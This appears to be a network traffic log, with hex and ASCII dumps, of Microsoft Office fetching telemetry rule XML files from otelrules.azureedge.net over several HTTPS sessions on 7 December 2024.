2024-12-07 23:49:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:06 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1f576be4-501e-008f-5405-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234906Z-r1cf579d778xq4f9hC1EWRx41g00000003mg00000000486a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:06 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:08 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:08 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234908Z-r1cf579d778w59f9hC1EWRze6w000000040g000000004tt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:08 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:08 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:08 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 061d09a2-c01e-00a1-3006-487e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234908Z-r1cf579d778qgtz2hC1EWRmgks00000003gg000000007ung x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:08 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:08 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:08 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234908Z-r1cf579d778v97q7hC1EWRf95c00000003cg00000000588h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:08 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:08 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234908Z-r1cf579d778x776bhC1EWRdk8000000003t000000000460g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:08 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:08 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:08 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 7b8d486f-101e-0017-1506-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234908Z-r1cf579d778t5c2lhC1EWRce3w00000004d0000000006577 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:08 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:10 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:10 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: b9413899-901e-0015-7203-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234910Z-r1cf579d778dndrdhC1EWR4b2400000003fg000000002dht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:10 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:10 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:11 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234911Z-r1cf579d778qgtz2hC1EWRmgks00000003f000000000ac0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:11 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:10 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:11 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: be723ded-701e-0021-0f06-483d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234911Z-r1cf579d7782ctslhC1EWRfbrw0000000470000000005739 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:11 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:10 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:11 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 67adf02b-201e-0085-1211-4834e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234911Z-r1cf579d778qlpkrhC1EWRpfc800000004b0000000009a91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:11 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:10 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:11 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4471680c-501e-0047-7105-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234911Z-r1cf579d77898tqwhC1EWRf9q800000003r0000000008uet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:11 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:12 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:12 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 1e99177e-901e-0029-5406-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234912Z-r1cf579d778dc6d7hC1EWR2vs800000004bg000000008f94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:12 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" 